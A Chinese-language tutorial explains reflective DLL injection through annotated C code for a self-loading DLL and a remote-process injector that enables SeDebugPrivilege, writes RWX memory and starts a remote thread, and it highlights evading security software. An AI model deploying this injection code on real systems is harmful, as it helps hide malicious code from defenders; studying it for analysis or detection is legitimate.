反射dll注入(内嵌式)

简介

与常规的DLL加载不同的是,反射DLL注入技术不依赖LoadLibrary函数来加载DLL,而是使用一个自定义的加载器ReflectiveLoader(通常嵌在DLL本身中)来执行加载过程,这个加载器负责解析DLL文件的头信息、导入函数的地址、处理重定位等初始化操作

这种技术的关键优势在于其隐蔽性,由于没有使用标准的加载API,因此不会在进程的模块列表中注册DLL这使得这种技术很难被基于这些特征的安全软件检测到

以下是ReflectiveLoader大致实现思路的思维导图:

ReflectiveLoader的实现思路

ReflectiveLoader实现思路

1.定位DLL在内存中的基址

在ReflectiveLoader函数的代码实现中,首先调用caller函数来定位DLL在内存中的基址

// 调用caller定位DLL在内存的基址
uiLibraryAddress = caller();

以下是caller函数的定义,调用_ReturnAddress函数获取当前调用函数的返回地址,也就是caller函数下一条指令的地址

__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }

上述得到返回地址后,随着这个地址往上逐字节遍历,直到找到PE头格式的字节为止,就是我们DLL的基址

// 遍历字节
while( TRUE )
{
	if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
	{	
        // 获取PE头
		uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
		
		if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
		{
			uiHeaderValue += uiLibraryAddress;
			
			if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
				break;
		}
	}
	uiLibraryAddress--;
}

2.获取所需的系统API

首先得到PEB的基址,再通过PEB找寻找到LDR

	// get the Process Enviroment Block
#ifdef WIN_X64
	uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
	uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
	uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif

iBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

遍历InMemoryOrderModuleList链表来查找kernel32.dllntdll.dll的基址,随后遍历这两个dll的导出函数来获取所需的API:

  • kernel32:LoadLibraryGetProcAddressVirtualAlloc

  • ntdll:NtFlushInstructionCache

// 获取InMemoryOrderModuleList链表的第一个模块
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
	// 获取指向当前模块名称的指针
	uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
	
    // 设置循环次数为模块名称的长度 
	usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
	
    // 
	uiValueC = 0;

	// 开始计算模块名称的哈希值
	do
	{
		uiValueC = ror( (DWORD)uiValueC );
		// 如果模块名称使用小写字母,转换为大写字母计算哈希值
		if( *((BYTE *)uiValueB) >= 'a' )
			uiValueC += *((BYTE *)uiValueB) - 0x20;
		else
			uiValueC += *((BYTE *)uiValueB);
		uiValueB++;
	} while( --usCounter );

	// 如果模块名称的哈希值匹配kernel32.dll的哈希值
	if( (DWORD)uiValueC == KERNEL32DLL_HASH )
	{
		// 获取kernel32.dll模块的基地址
		uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

		// 定位到kernel32.dll的PE头
		uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

		
        // 定位kernel32.dll的导出表
		uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
		uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
		
		// 定位导出函数名称表和序号表
		uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
		uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

		usCounter = 3;
		
		// 遍历导出函数,寻找LoadLibraryA、GetProcAddress和VirtualAlloc
		while( usCounter > 0 )
		{
			// 计算当前导出函数名称的哈希值
			dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
			
			// 通过函数名称哈希值来匹配我们想要的函数
			if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
			{
				// 定位导出函数地址表
				uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

				// 获取指向我们想要的函数地址的指针
				uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

				// 根据哈希值判断并保存对应函数地址
				if( dwHashValue == LOADLIBRARYA_HASH )
					pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
				else if( dwHashValue == GETPROCADDRESS_HASH )
					pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
				else if( dwHashValue == VIRTUALALLOC_HASH )
					pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
		
				// 完成一个函数地址的获取,减少计数器
				usCounter--;
			}

			// 获取下一个导出函数的名称和序号
			uiNameArray += sizeof(DWORD);
			uiNameOrdinals += sizeof(WORD);
		}
	}
    
    // 以下是获取ntdll的函数的地址
	else if( (DWORD)uiValueC == NTDLLDLL_HASH )
	{
		// get this modules base address
		uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

		// get the VA of the modules NT Header
		uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

		// uiNameArray = the address of the modules export directory entry
		uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

		// get the VA of the export directory
		uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

		// get the VA for the array of name pointers
		uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
		
		// get the VA for the array of name ordinals
		uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

		usCounter = 1;

		// loop while we still have imports to find
		while( usCounter > 0 )
		{
			// compute the hash values for this function name
			dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
			
			// if we have found a function we want we get its virtual address
			if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
			{
				// get the VA for the array of addresses
				uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

				// use this functions name ordinal as an index into the array of name pointers
				uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

				// store this functions VA
				if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
					pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );

				// decrement our counter
				usCounter--;
			}

			// get the next exported function name
			uiNameArray += sizeof(DWORD);

			// get the next exported function name ordinal
			uiNameOrdinals += sizeof(WORD);
		}
	}

	// 如果已找到所有需要的函数,退出循环
	if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
		break;

	// 移动到模块链表中的下一个模块
	uiValueA = DEREF( uiValueA );
}

3.申请加载DLL所需的内存区域

申请一片新的内存区域来装载DLL,内存区域的大小取决于PE结构中IMAGE_OPTIONAL_HEADER结构体中的SizeOfImage成员

注:虽然DLL已经加载进目标进程的内存里了,但为了正确执行DLL中的代码,ReflectiveLoader需要自行完成加载过程,例如内存分配、重定位和导入解析等步骤。这就是为什么还需要重新申请一块具有执行权限的内存区域的原因

// 获取DLL的NT头的VA(在内存状态下的地址)
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

// 在进程的地址空间中为DLL文件分配足够的内存,用于后续的加载和执行
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

4.复制所有头+节表+节数据

以下代码负责将DLL文件从临时加载的位置复制到新分配的内存区域,首先它复制PE头和所有节头,然后遍历所有节,将它们复制到新位置

// PE头+节表的大小
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
// DLL临时加载的位置
uiValueB = uiLibraryAddress;
// DLL被复制到的目标位置
uiValueC = uiBaseAddress;

// 逐字节复制PE头和所有节头到新位置
while( uiValueA-- )
	*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

// 计算第一个节头的虚拟地址,为复制节内容做准备。
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );

// 遍历所有节,将它们从当前加载的位置复制到新内存位置。
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
	// uiValueB现在指向新内存位置中当前节的起始地址。
	uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

	// uiValueC指向当前节在DLL原始数据中的起始位置。
	uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

	// 逐字节复制当前节的内容到新位置。
	uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

	while( uiValueD-- )
		*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

	// 移动到下一个节头,准备复制下一节。
	uiValueA += sizeof( IMAGE_SECTION_HEADER );
}

5.处理DLL的导入表

此过程的关键在于动态地解析并加载当前DLL依赖的外部DLL,并修正当前DLL的导入表,使其能够正确调用外部DLL的导出函数

// 定位导入表
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

// 通过导入表的名称来遍历所有导入表
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
	// 使用上述获取到的LoadLibrary函数将依赖的DLL加载入内存
	uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
	
	// 获取导入表结构中的OriginalFirstThunk成员
	uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );

	// 获取导入表结构中的FirstThunk成员(指向导出函数的地址)
	uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

	// 遍历导入表的所有导出函数
	while( DEREF(uiValueA) )
	{
        // 如果导出函数是通过序号导入的,则通过序号找到函数地址,然后修正当前DLL的IAT表
		if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
		{
			// 获取所依赖DLL的NT头
			uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

			// 获取所依赖DLL的导出表
			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
			uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

			// 获取导出表中的导出地址表
			uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

			// 定位函数地址:首先计算目标函数在依赖DLL的导出地址表的偏移位置。这个位置的计算方法是通过取函数的序号并减去基序号(导出函数序号的最小值)得出来得的,然后这个偏移量再乘以sizeof(DWORD),就是目标函数在导出地址表的偏移位置。最后再加上uiAddressArray,此变量现在指向目标函数地址的指针	    
			uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

			// 将上述获取到的函数的实际地址写入导入地址表(IAT)中
			DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
		}
        // 如果导出函数是通过名称导入,则使用GetProcAddress函数获取函数地址,然后修正IAT表
		else
		{
			// 获取INT表的地址(其实我觉得,这里uiValueA换成uiValueD会更好,因为uiValueD在加载前后阶段都是指向INT表,这样代码表达得会更清晰点)
			uiValueB = ( uiBaseAddress + DEREF(uiValueA) );

			// 使用GetProcAddress函数来获取目标函数的地址,随后修正IAT表
			DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
		}
		// 获取下一个导出函数
		uiValueA += sizeof( ULONG_PTR );
		if( uiValueD )
			uiValueD += sizeof( ULONG_PTR );
	}

	// 获取下一个导出表
	uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}

6.处理DLL的重定位表

当DLL被加载到内存时,如果它们不能加载到预设的基地址上,操作系统就需要对它们进行重定位操作,这时我们就要修改DLL的重定位表

// 计算基址偏移量:当前DLL的实际加载地址减去预设的基地址
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

// 获取重定位表的地址
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

// 通过检查重定位表是否为空来判断是否存在重定位项
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
    // uiValueC指向第一个重定位块的地址
    uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

    // 开始遍历所有重定位块
    while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
    {
        // 获取重定位块的地址
        uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );

        // 获取重定位块中包含的重定位项的数量
        uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );

        // uiValueD设置为当前块中的第一个重定位项
        uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

        // 遍历重定位项
        while( uiValueB-- )
        {
            // 根据重定位项的类型来修正相应的地址
            if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
                *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
                *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
                *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
                *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

            // 遍历下一个重定位项
            uiValueD += sizeof( IMAGE_RELOC );
        }

        // 遍历下一个重定位块
        uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
    }
}

7.调用DLL入口点

最后ReflectiveLoader将控制权转移给DLL文件的入口点,入口点可以通过扩展PE头的AddressOfEntryPoint获取

// 获取DLL的入口点
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

// 刷新指令缓存,确保CPU的指令缓存没有旧的代码
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

// 调用DLLMAIN函数
// 此宏定义表示,如果DLL是通过LoadRemoteLibraryR注入的,则可使用第三个参数作为额外参数给DllMain
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR

((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif

// 返回入口点的地址
return uiValueA;

Inject的实现思路

1.将DLL写入当前进程的内存

将反射dll的文件内容写入当前进程的内存

// 打开反射dll文件并获取其句柄
hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( hFile == INVALID_HANDLE_VALUE )
	BREAK_WITH_ERROR( "Failed to open the DLL file" );

// 获取反射dll文件的大小
dwLength = GetFileSize( hFile, NULL );
if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
	BREAK_WITH_ERROR( "Failed to get the DLL file size" );

// 分配一块堆内存用于存储反射DLL文件
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
if( !lpBuffer )
	BREAK_WITH_ERROR( "Failed to get the DLL file size" );

// 将反射DLL文件的内容读入上述申请的堆内存
if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
	BREAK_WITH_ERROR( "Failed to alloc a buffer!" );

2.提升进程权限

提升当前进程的权限,使其获得调试其他进程得能力

// 打开当前进程的访问令牌
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{	
    // 此处的priv是一个Token_PRIVILEGE结构
	priv.PrivilegeCount           = 1;  //表示只调整一个权限
	priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  // 启用该权限
	
    // LookupPrivilegeValue函数查找SE_DEBUG_NAME权限(SeDebugPrivilege)的唯一标识符(LUID),此权限允许当前进程调试其他进程
	if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )		
        
        // AdjustTokenPrivileges函数将SeDebugPrivilege权限添加到令牌并启用它
		AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
	
	CloseHandle( hToken );
}

3.使用LoadRemoteLibrary注入dll

如下代码演示了DLL的注入过程,从打开目标进程,到将DLL注入该进程,主要依赖LoadRemoteLibraryR这个自定义函数,后面讲解此函数的实现思路

// 使用OpenProcess函数去打开目标进程
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
if( !hProcess )
	BREAK_WITH_ERROR( "Failed to open the target process" );

// 使用LoadRemoteLibraryR实现将dll注入目标进程
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
if( !hModule )
	BREAK_WITH_ERROR( "Failed to inject the DLL" );

printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );

WaitForSingleObject( hModule, -1 );

3.1获取ReflectiveLoader函数的偏移

让我们来看看LoadRemoteLibrary是如何实现的,首先使用GetReflectiveLoaderOffset函数来获取ReflectiveLoader在DLL中的偏移

// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
	break;

GetReflectiveLoaderOffset函数首先确认DLL的架构与当前环境匹配,然后访问导出表,遍历所有导出函数名称直到找到"ReflectiveLoader"。

一旦找到,函数计算并返回ReflectiveLoader相对于DLL基地址的偏移量,这一偏移量对于实现DLL的反射注入至关重要,因为它使得注入代码能够在不使用传统加载方法的情况下,直接调用并执行DLL内的ReflectiveLoader函数

DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
{	
	UINT_PTR uiBaseAddress   = 0;
	UINT_PTR uiExportDir     = 0;
	UINT_PTR uiNameArray     = 0;
	UINT_PTR uiAddressArray  = 0;
	UINT_PTR uiNameOrdinals  = 0;
	DWORD dwCounter          = 0;
#ifdef WIN_X64
	DWORD dwCompiledArch = 2;
#else
	// This will catch Win32 and WinRT.
	DWORD dwCompiledArch = 1;
#endif
	
    // uiBaseAddress初始化为dll的基址
	uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;

	// 获取DLL的PE头
	uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

	// 检查DLL的架构(x32 or x64)
	if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
	{
		if( dwCompiledArch != 1 )
			return 0;
	}
	else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
	{
		if( dwCompiledArch != 2 )
			return 0;
	}
	else
	{
		return 0;
	}

	// 定位导出表
	uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
    
    // 获取导出表在文件状态下的地址
	uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );

	// 获取导出函数名称表在文件状态下的地址
	uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );

	// 获取导出函数地址表在文件状态下的地址
	uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );

	// 获取导出函数序号表在文件状态下的地址
	uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );	

	// 获取通过函数名称来导出的数量
	dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;

	// 遍历所有导出函数
	while( dwCounter-- )
	{	
        // 获取导出函数的名称
		char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
		
        // 检查导出函数的名称是否是“ReflectiveLoader”
		if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
		{
			// 定位导出函数地址表
			uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );	
	
			// uiNameOrdinals提供ReflectiveLoader函数的序号,并通过此序号与导出函数地址表的起始位置计算,从而得出ReflectiveLoader函数的地址
			uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

			// 返回ReflectiveLoader函数在文件状态下的偏移量
			return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
		}
		
        // 指向下一个导出函数的名称
		uiNameArray += sizeof(DWORD);

		// 指向下一个导出函数的序号
		uiNameOrdinals += sizeof(WORD);
	}

	return 0;
}

3.2将DLL写入目标进程内存

// 在目标进程分配一段可读可写可执行的内存					
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 
if( !lpRemoteLibraryBuffer )
	break;

// 将DLL写入目标进程的内存
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
	break;

3.3调用ReflectiveLoader函数

// 获取ReflectiveLoader函数的地址
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );

// 创建远程线程执行ReflectiveLoader函数
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );

操作演示

ReflectiveDll.c编写DLL的功能代码,例如此处写了一个弹框代码

执行如下命令,将dll注入到记事本进程,可以发现记事本出现弹框

.\inject.exe [目标进程pid]

参考文章

  • https://idiotc4t.com/defense-evasion/reflectivedllinjection-variation

  • https://yaoyue123.github.io/2021/01/31/Windows-Reflective-dllinject/#%E6%A0%B8%E5%BF%83%E6%80%9D%E8%B7%AF

最后更新于